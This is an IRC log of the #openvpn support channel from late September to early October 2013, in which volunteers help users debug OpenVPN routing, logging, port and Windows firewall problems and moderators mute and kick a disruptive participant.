14:17 < namidark> so it should just work then?
14:17 <@ecrist> 14:09:56 < namidark> I have pfSense setup as my openvpn server in bridged mode - how can i get multicast working across the vpn link (its a tap dev)
14:17 <@ecrist> 14:12:29 <@ecrist> it "just works"
14:17 < namidark> hm ok, maybe my route is messed up then
14:18 < namidark> i specifically have to add the route that im multicasting over, correct?
14:18 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
14:20 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
14:24 <+pekster> This really isn't an openvpn issue, but one configuring your OS to route multicast traffic as you expect. Have you see the fbsd docs on the subject? http://www.freebsd.org/doc/faq/networking.html#idp76635312
14:24 <@vpnHelper> Title: Chapter 11. Networking (at www.freebsd.org)
14:45 < Skapare> "not an openvpn issue" ... wow, I see that so much ... wonder where they should be asking these questions
14:50 <+pekster> !101
14:50 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
14:50 -!- dradec [~d@unaffiliated/dradec] has quit [Quit: Disconnected from chain!]
14:50 <@krzee> !notovpn
14:50 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
14:50 <+pekster> You've been here long enough to know this
14:51 <+pekster> Skapare: Less smart-ass comments, 'eh? You're consistently hostile to those trying to help direct people seeking help to relevant resources, and it's not helpful
14:51 <@krzee> where to ask depends on what the question is, but generally ##networking and #netfilter and #linux  (or some distro specific channel) would be the right channels
14:52 -!- mode/#openvpn [+q Skapare!*@*] by ecrist
14:52 <@krzee> thou hast been muzzled
15:05 -!- mode/#openvpn [-q Skapare!*@*] by krzee
15:05 <@krzee> Skapare, next time he'll just ban you
15:14 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Quit: Quit]
15:16 < Skapare> krzee: this meta question ... if someone does ask an O/T question, but I can help them, should I just do it here, or should I invite them over to an appropriate channel (which often is not a single specific thing like an OS or some aspect of networking, since often their problems are multiple things) ?
15:17 <@krzee> recommending them to the appropriate channel is fine, did you read what i said to you earlier?
15:17 <@krzee>  <krzee> where to ask depends on what the question is, but generally ##networking and #netfilter and #linux  (or some distro specific channel) would be the right channels
15:17 <@krzee> that is what this says:
15:17 <@krzee> !notovpn
15:17 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
15:18 < Skapare> krzee: you said many specific things ... and some things about channels ... but I'm trying to clarify where there are problems ... as in many questions need answers for which there is no one specific channel
15:18 < Skapare> yes, I read that
15:18 <@krzee> how about i just kickban and the problem is solved?
15:18 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
15:19 < Skapare> but people so often have no idea what their problem is related to
15:20 < Skapare> a great many questions I have seen people come in here about is "I set up openvpn and it does not work" ... *we* don't know what their problem is ... how could *they* possibly know
15:20 <@krzee>  <pekster> This really isn't an openvpn issue, but one configuring your OS to route multicast traffic as you expect. Have you see the fbsd docs on the subject? http://www.freebsd.org/doc/faq/networking.html#idp76635312
15:20 <@vpnHelper> Title: Chapter 11. Networking (at www.freebsd.org)
15:20 <@krzee> he told him EXACTLY what the problem was and where to look
15:20 <@krzee> and now im annoyed with you too
15:20 <@krzee> bye
15:21 -!- mode/#openvpn [+q Skapare!*@*] by krzee
15:23 <@krzee> oh you're ignored too so you can forget bothering me by msg again
15:23 <@krzee> welcome to irc
15:24 <+pekster> The PM was not helpfu either; if you'll notice, I not only told the OP that the issue could be better resolved elsewhere, I also pointed out resources like a helpful expert in the area
15:24 -!- mode/#openvpn [+o pekster] by ChanServ
15:24 -!- Skapare was kicked from #openvpn by pekster [Come back only when you are prepared to be a productive community member in this channel and not sooner]
15:24 -!- mode/#openvpn [-o pekster] by ChanServ
15:28 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
15:30 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
15:35 -!- dimitry7 [~antonello@38.124.174.31] has quit [Client Quit]
15:40 <+rob0> he tried /msg me to complain about pekster the other day. I just ignored him.
15:41 <+pekster> He's been a prick for a few days now, so next time I'm weilding the ban-hammer much more quickly
15:41 <+rob0> yes. I knew him from ##slackware -- he's one of the reasons I am no longer there.
15:42 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
15:42 <+rob0> I gently tried to correct his whinyness here recently.
15:42 <+rob0> Whiners rarely respond to gentle.
15:42 <+pekster> I've been very patient over the last few days, but instead of helping with O/T issues (which is actually welcome as long as someone is an expert in the OT area) he complains that no one helps with it; ironic and very unhelpful
15:43 <+pekster> If I wanted to help with fbsd multicast routing, I'd do it in #freebsd, methinks ;)
15:43 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
15:45 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
15:49 -!- bodeezl [~westside@2605:f700:40:2c1c::cadf:3c61] has quit [Ping timeout: 245 seconds]
15:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
15:58 -!- lysol [~westside@2605:f700:40:2c1c::cadf:3c61] has joined #openvpn
16:01 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0.1/20130814063812]]
16:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:06 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
16:11 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:44 < tharkun> krzee, pekster: VPN up and running, I had an isue with the order of the parameters on the config file but it is indeed working. Thanks for your time.
16:46 <+pekster> Glad to hear it's working as you expect
16:54 -!- cconstantine [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
16:54 -!- Husar [~Husar@2a01:4f8:161:1e4::2] has quit [Ping timeout: 246 seconds]
16:54 < cconstantine> !configs
16:54 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
16:55 < cconstantine> !paste
16:55 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
16:59 < cconstantine> Hey all, I'm trying to get an openvpn server setup and I can't figure out why it's not working.  Here is my openvpn server config: http://pastebin.com/msdGT4xb  .  Hosting is ec2, ubuntu 12.04 lts.  On the client I'm getting connection refused messages and no logs on the server.  using iftop I can see the connection opening, so I doubt it's a firewall issue.  help?
17:01 <+pekster> connection refused is when the remote host actively closes the socket
17:02 <+pekster> Either your service isn't listening on the port the client is using, is firewalled, or the server rejected the client's auth and closed the connection
17:02 <+pekster> Check logs on both ends for clues as to which you have
17:02 < cconstantine> I have no logs at all on the server side
17:02 <+pekster> Then you're doing something wrong becuase openvpn logs when it starts up
17:03 <+pekster> !logfile
17:03 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
17:03 <+pekster> Also relevant is !logs
17:03 < cconstantine> ok, I have the status log, and I can see it add things when the service starts up, but connection attempts don't show up
17:03 <+pekster> Wrong log
17:04 <+pekster> See !logfile above for the real log
17:05 <+pekster> --statis is not the same as the logs generated and sent to one of the afore-mentioned locations depending on your setup; with that config, it will log to STDOUT unless you are using an OS-managed init system that adds --daemon
17:05 <+pekster> --status *
17:06 < cconstantine> when I crank the log level to 9 I get some repeated messages from the daemon in syslog
17:06 <+pekster> Don't do that
17:06 <+pekster> !verb
17:07 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage. or (#3) Anything more than 5 is for developer debugging only
17:07 <+pekster> Higher than 5 is useless here
17:07 <+pekster> (and 4 is usually fine unless you're troubleshooting firewall issues where packets may not even arrive)
17:07 < cconstantine> right, I've cranked it back.  that's to demonstrate that can see wherever openvpn is sending logs
17:07 <+pekster> Posting configs and logs from _both_ sides will be helpful here
17:07 <+pekster> Or at least seeing your actual openvpn logs from the server at --verb 4 or higher to see what, if anything, it sees from the client
17:08 <+pekster> openvpn is quite talkative: f.ex, on startup you'll get a line like: OpenVPN 2.3.2 i686-w64-mingw32 [SSL (OpenSSL)] [LZO] [PKCS11] [eurephia] [IPv6] built on Aug 24 2013
17:08 <+pekster> And many more after that
17:09 < cconstantine> yeah, on startup it has quite a few lines
17:10 -!- Roelke [~Roelke@hostserv.nl] has quit [Read error: Operation timed out]
17:10 < cconstantine> oh fun, the beginning has something interesting
17:10 <+pekster> Then what do you mean "I have no logs at all" ??
17:10 -!- emid [~emid@192.241.162.156] has quit [Read error: Operation timed out]
17:10 <+pekster> !logs
17:10 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
17:10 -!- Roelke [~Roelke@hostserv.nl] has joined #openvpn
17:10 < cconstantine> no new logs on a connection attempt
17:10 -!- emid [~emid@192.241.162.156] has joined #openvpn
17:10 <+pekster> Then you do indeed have a firewall or connectivity issue
17:10 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Operation timed out]
17:10 < cconstantine> http://pastebin.com/KRVceVYA
17:11 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
17:11 < cconstantine> ^ that's the beginning on the logs for openvpn starting
17:11 < cconstantine> it looks like it's failing to initialize something
17:11 <+pekster> No it's not
17:11 <+pekster> Those are not the full logs from a fresh startup attempt, and please don't use --verb 6 as it contains useless info unnecessary here
17:12 < cconstantine> that was at 4
17:12 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
17:12 <+pekster> Nope
17:12 <+pekster> _Complete_ logs will help
17:12 <+pekster> Incomplete ones won't
17:13 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
17:13 <+pekster> Here's an example of verb 3 logs from startup: http://paste.kde.org/pa1d28ca4/5792091/raw/
17:14 <+pekster> Verb 4 looks the same but has much more detail about all the program options on startup and will be many dozens of lines longer as a result
17:14 <+pekster> Your logs do not include any of the bits near the top of my logfile example, thus yours is inocmplete and not relevant to identifying your issue
17:14 <+pekster> Please re-read !logfile, and either pull full logs, or send them somewhere particular with the --log directive as !logfile also explains
17:15 < cconstantine> full logs: http://pastebin.com/zxCZGbbg
17:15 < cconstantine> ok, maybe I don't know how to change the log level then
17:15 < cconstantine> I set the log level in the openvpn server config file
17:15 <+pekster> That's better. So, after line 257 there you see no 'initial packet received' when you attempt to connect your client?
17:16 <+pekster> If so, packets aren't getting to the openvpn process; firewall or connectivity issue
17:16 <+pekster> Fix your firewall, or fix the reason packts don't arrive
17:16 <+pekster> Maybe you forgot to use port 1196 or TCP on the client side?
17:16 <+pekster> (1194 and UDP are the defaults)
17:16 <+pekster> Running over TCP isn't recommended either unless you have no choice: read !tcp for details
17:17 < cconstantine> :/  I have the firewall wide open right now, and I can see the tcp connection setup in iftop
17:17 < cconstantine> oh, that port might be an issue...
17:17 < cconstantine> someone (not me) was being clever with ports :(
17:18 < cconstantine> yeah,  I switched to tcp in the hopes that I could get some network level debugging.  I'll switch it back as soon as I can
17:20 < cconstantine> back on udp, and it appears that the vpn level connection is working.
17:20 < cconstantine> thank you so much.  You've been very patient
17:22 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
17:25 < cconstantine> after switching back to port 1194 and udp is there any other external port I need to leave open?
17:35 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
17:41 <+pekster> OpenVPN uses only a single port
17:44 < Roklobsta> openvpn is the sanest thing going, one port and udp.  all the others with their GRE and crap are engineering fails.
17:45 < cconstantine> sweet
17:45 <+pekster> Especially with today's stateful firewalls (and more or less mandatory NAT for IPv4)
17:45 < cconstantine> yeah
17:46 < Roklobsta> definitely.  yesterday I came across a 'business grade' adslmodemrouter that can't NAT GRE.
17:46 < Roklobsta> WTF
17:46 -!- chiiph [~chiiph@unaffiliated/chiiph] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
17:46 < Roklobsta> A golf clap for Telstra.
17:49 < cconstantine> wow
17:56 -!- Eugennerz is now known as Eugene
18:03 -!- wallbroken [~wallbroke@151.56.246.53] has joined #openvpn
18:03 < wallbroken> hi
18:03 < wallbroken> i'd like to know differences between euro1, euro2, and uk in openvpnbook
18:04 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 252 seconds]
18:05 <+pekster> !provider
18:05 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
18:05 <+pekster> Go ask the people you pay if you want to know how their service works
18:06 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
18:06 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
18:07 < Cubox> if someone want to dig with me for this problem http://serverfault.com/questions/542381/openvpn-forward-packets-very-slowly it would be awesome. All my friends and everybody I talk to don't know where is the problem. Even a clue...
18:07 <@vpnHelper> Title: linux - Openvpn, forward packets very slowly - Server Fault (at serverfault.com)
18:07 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 260 seconds]
18:09 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
18:09 < wallbroken> pekster, ok, I asked here just because you suggested me vpnbook
18:14 <+pekster> I have never suggested the use of any provider, no
18:15 <+pekster> I think they're pointless and a waste of money; most of them are brain-dead and poorly configured to boot
18:15 < wallbroken> !vpnbook
18:15 < wallbroken> som
18:15 < wallbroken> somebody suggested me with bot
18:20 <+pekster> Be that as it may, no one here (AFAIK) is affiliated with any VPN service, and you should contact such "providers" at their support mechanisms. We support OpenVPN here, not every company using openvpn
18:21 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
18:23 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
18:24 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has quit [Ping timeout: 248 seconds]
18:28 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has joined #openvpn
18:40 -!- andrusha97_ [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 246 seconds]
18:41 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
18:49 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has quit [Ping timeout: 260 seconds]
18:53 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has joined #openvpn
19:48 -!- MattJ [~matthew@82.152.33.17] has quit [Ping timeout: 245 seconds]
19:49 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 240 seconds]
19:52 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
19:56 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Operation timed out]
19:56 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
19:56 -!- mode/#openvpn [+o raidz] by ChanServ
19:57 -!- hjohnson [~hans@99.199.163.30] has quit [Read error: Operation timed out]
19:57 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
20:13 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has quit [Ping timeout: 248 seconds]
20:17 -!- cconstantine [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Ping timeout: 260 seconds]
20:18 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has joined #openvpn
20:26 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has quit [Ping timeout: 240 seconds]
20:29 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
20:31 -!- raidz is now known as raidz_away
20:31 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has joined #openvpn
20:49 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
20:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
20:56 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Quit: AAAGH!  IT BURNS!]
20:57 -!- mode/#openvpn [+o pekster] by ChanServ
20:57 -!- mode/#openvpn [-q Skapare!*@*] by pekster
20:57 <@pekster> Feel free to put that back and/or +b if there are further issues
20:57 -!- mode/#openvpn [-o pekster] by ChanServ
20:57 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
20:58 -!- kiyor_ [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
21:15 -!- neutr0n [~neutr0n@4.31.137.194] has joined #openvpn
21:16 < neutr0n> anyone had openvpn on 8.1 final stop working in the last couple days?
21:16 < neutr0n> windows 8.1
21:16 < neutr0n> stopped working on 3 8.1 systems in the last couple days
21:17 < neutr0n> tap shows disconnected
21:18 < Roklobsta> it's the NSA
21:18 < Roklobsta> steasling your taps
21:19 < Roklobsta> or just another crummy software bug in 8.1
21:19 < Roklobsta> wait for 8.3
21:20 < neutr0n> yeah thanks for the scientic answer
21:21 < Roklobsta> i'd like to know why new taps dont' show up as interfaces in the windows server routing snapin
21:29 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has quit [Ping timeout: 256 seconds]
21:32 < neutr0n> might as well use directaccess
21:32 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has joined #openvpn
21:49 -!- neutr0n [~neutr0n@4.31.137.194] has quit [Ping timeout: 248 seconds]
21:52 -!- dradec [~d@unaffiliated/dradec] has quit [Ping timeout: 245 seconds]
21:54 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Quit: AAAGH!  IT BURNS!]
21:55 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
22:00 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Quit: AAAGH!  IT BURNS!]
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
22:06 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Client Quit]
22:07 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
22:09 -!- lesterc [~lesterc@vpn.perforce.com.au] has joined #openvpn
22:16 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has quit [Ping timeout: 240 seconds]
22:17 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has joined #openvpn
22:43 -!- mrrcp [~mrrcp@162.243.9.38] has joined #openvpn
22:44 < mrrcp> is there a way to see what type of connection my vpn is using?
22:44 < mrrcp> as far as encryption methods
22:44 < mrrcp> ?
22:45 <+pekster> mrrcp: The symmetric crypto is non-negotiable, so it's explicitly using whatever you have defined (or the compile-time default of BF-CBC if you omit it.) The TLS cipher-suite is negotiated by openssl unless you restrict it with --tls-cipher; use --verb 4 to see this value in your logs
22:47 < mrrcp> i use private internet access but it wont allow me to define the encryption levels
22:47 < mrrcp> any suggestions
22:47 < mrrcp> ?
22:52 <+pekster> Complain to them
22:52 <+pekster> !provider
22:52 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
22:52 <+pekster> If you don't run both ends, you can't modify options that must match between peers
22:52 <+pekster> If this is the typical brain-dead provider, they don't set any --tls-cipher on their end, thus you can select any that are in the mutually-agreeable list
23:08 -!- lesterc [~lesterc@vpn.perforce.com.au] has quit [Quit: Leaving.]
23:25 -!- al_nz1 [~Ali_nz1@203.96.203.94] has joined #openvpn
23:26 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
23:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:36 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
23:49 -!- toothe [~mongolian@unaffiliated/toothe] has left #openvpn []
--- Day changed Tue Oct 01 2013
00:04 -!- Ali_nz2 [~Ali_nz1@203.96.203.94] has joined #openvpn
00:05 -!- al_nz1 [~Ali_nz1@203.96.203.94] has quit [Ping timeout: 252 seconds]
00:22 -!- Ali_nz2 [~Ali_nz1@203.96.203.94] has quit [Ping timeout: 246 seconds]
00:40 -!- agagaa [~agagaa@p15062.static.kfki.com] has joined #openvpn
00:43 -!- agagaa [~agagaa@p15062.static.kfki.com] has left #openvpn []
00:58 -!- al_nz1 [~Ali_nz1@203.96.203.94] has joined #openvpn
01:03 < al_nz1> Hi peoples
01:04 < al_nz1> I have a ADSL router with several computers behind that router on 192.168.15.x subnet. One of those computers is my OpenVPN server (the VPN subnet is the default 10.8.0.0.)
01:04 < al_nz1> In my router I have also added a route for 10.8.0.0 with a gateway of 192.168.15.200 (the pc running openvpn)
01:05 < al_nz1> now when I connect to the openvpn server, and try to ping another PC on the same lan as the server I see the pings comming in (via wireshark) but this VPN side client doesnt even attempt to reply.
01:06 < al_nz1> this client thats not replying is running windows 7 and I wonder if its because its not replying to something thats not origintaing from its own subnet...but failing that I am lost.
01:06 < al_nz1> anyone have any other ideas?
01:07 <+pekster> You see the ping on the inside NIC of the VPN server on the server-side LAN?
01:07 <+pekster> If so, your next step would be to watch traffic on the ping target (your windows box?)
01:07 < al_nz1> I am seeing the pings on the windows client
01:07 < al_nz1> but it appears not to even be trying to reply
01:07 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:07 <+pekster> Then that host is your issue, yes
01:08 <+pekster> Sounds like a firewall is dropping it
01:08 < al_nz1> +pekster: my thoughts exactly
01:08 < al_nz1> buggered if I know how to make that subnet trusted, but I will google it
01:09 <+pekster> It's a mild pain with the official firewall since it's riddled with GUI crap and adding an extra subnet (or aggrigated "supernet" if you have such a WAN setup) is a *per* *entry* process
01:10 <+pekster> Since basic things like file sharing can have a dozen or more line-item entries, one gets to copy/paste the lousy CIDR network into a dozen (or more!) entries to get it to work. Another PITA brought to you by Redmond.
01:10 -!- aji [~alex@atheme/member/aji] has quit [Quit: dd if=/dev/null of=/dev/aji]
01:10 -!- aji [~alex@atheme/member/aji] has joined #openvpn
01:11 < al_nz1> +pekster: sounds like youve been there!
01:13 <+pekster> But yes, tl;dr is once you fix your OS things should work as long as the router on yoru LAN knows what to do with the packets (and its firewall allows it, of coruse)
01:16 < al_nz1> +pekster: yeah I think the router know what to do, it has a tracert utility and it certainly seems to know what to do with packets destined for a VPNClient, its getting the windows client to trust the OVPN subnet
01:27 < al_nz1> friggin great, created a inbound rule which fixed the problem, but doesnt let me do it on a per subnet basis without some IPSEC crap, so the rule now basically allows anything.
01:27 < al_nz1> bloody windows
01:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:38 -!- agagaa [~agagaa@p12098.static.kfki.com] has joined #openvpn
01:38 -!- agagaa_ [~agagaa@p12098.static.kfki.com] has joined #openvpn
01:38 -!- agagaa [~agagaa@p12098.static.kfki.com] has quit [Read error: Connection reset by peer]
01:40 -!- agagaa_ [~agagaa@p12098.static.kfki.com] has quit [Client Quit]
01:47 -!- YeOldHinnerk [~chatzilla@static-217-133-95-28.clienti.tiscali.it] has joined #openvpn
01:47 < YeOldHinnerk> hi
01:47 < YeOldHinnerk> I have a working VPN connection (YES!!!)
01:47 < YeOldHinnerk> now I wanted to redirect all internet traffic through vpn.
01:48 < YeOldHinnerk> Tomato offers a nice checkbox for openvpn to do this.
01:48 < YeOldHinnerk> when i checked it, restarted services and reconnected I got hte following error:
01:48 < YeOldHinnerk> Tue Oct 01 08:45:39 2013 ERROR: Windows route add command failed [adaptive]: returned error code 1
01:49 < YeOldHinnerk> and a tracert I did to my bank didn't seem to go through the VPN
01:49 < YeOldHinnerk> is this a reasonable way to check this, by the way?
01:50 < YeOldHinnerk> my client is windows 7 prof, I'm currently connected through an open wlan.
01:50 < YeOldHinnerk> I don't know what else you would need to know
01:50 < YeOldHinnerk> !redirect
01:50 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
01:50 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
01:51 <+pekster> Fix the route error, of course
01:51 <+pekster> Either you're not running as an admin, or the command failed for another reason
01:52 <+pekster> Details on properly running the GUI on windows here:
01:52 <+pekster> !gui
01:52 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
01:53 < YeOldHinnerk> I'm not using the GUI anymore, I got it working without and the gui keeps bringiner errors... not worth the hassle.
01:53 < YeOldHinnerk> is this a client or server side issue?
01:54 <+pekster> The side spewing your error
01:54 <+pekster> How are you starting the client such that is is failing to add the route?
01:55 < YeOldHinnerk> yes, admin right may be the issue, let me check.
01:57 -!- YeOldHinnerk_ [~chatzilla@ip-62-143-97-88.unitymediagroup.de] has joined #openvpn
01:57 < YeOldHinnerk_> not sure if this still came through before the con nbroke:
01:57 < YeOldHinnerk_> bingo: it was the admin rights.
01:57 < YeOldHinnerk_> I opend a cmd without admin
01:57 < YeOldHinnerk_> thank you!
01:58 < YeOldHinnerk_> now tracert shows as first entry my vpn router
01:59 < YeOldHinnerk_> no, on to online banking :)
01:59 < YeOldHinnerk_> ups, now...
02:00 -!- YeOldHinnerk [~chatzilla@static-217-133-95-28.clienti.tiscali.it] has quit [Ping timeout: 240 seconds]
02:00 -!- YeOldHinnerk_ is now known as YeOldHinnerk
02:06 < YeOldHinnerk> thx for the help and goodbye!
02:06 -!- YeOldHinnerk [~chatzilla@ip-62-143-97-88.unitymediagroup.de] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910160258]]
02:40 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
02:41 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
02:59 < lysol> how do i add ipv6 support to vpn
02:59 <+pekster> lysol: 2.3.0 and up support IPv6 already
03:00 < lysol> ty
03:02 <+pekster> The manpages for 2.3.x have info in an 'IPv6 Related Options' section, and these are effectively the same as their v4 counterparts except for the addressing (naturally)
03:09 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Connection reset by peer]
03:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
03:12 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
03:15 -!- takamichi [~takamichi@92.251.122.219] has joined #openvpn
03:26 < lysol> Package: openvpn
03:26 < lysol> Version: 2.2.1-8+deb7u1
03:30 <+rob0> Then you would need to upgrade.
03:33 < Aketzu> wheezy-backports has 2.3.2
03:43 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Ping timeout: 260 seconds]
03:45 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
03:50 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
03:50 -!- wallbroken [~wallbroke@151.56.246.53] has quit []
03:50 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
03:50 -!- Paddez1 is now known as Paddez
03:56 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
03:57 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:07 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving]
04:42 -!- bogie [bogie@2001:4ba0:fffd:65::101] has quit [Ping timeout: 245 seconds]
04:43 -!- bogie [bogie@2001:4ba0:fffd:65::101] has joined #openvpn
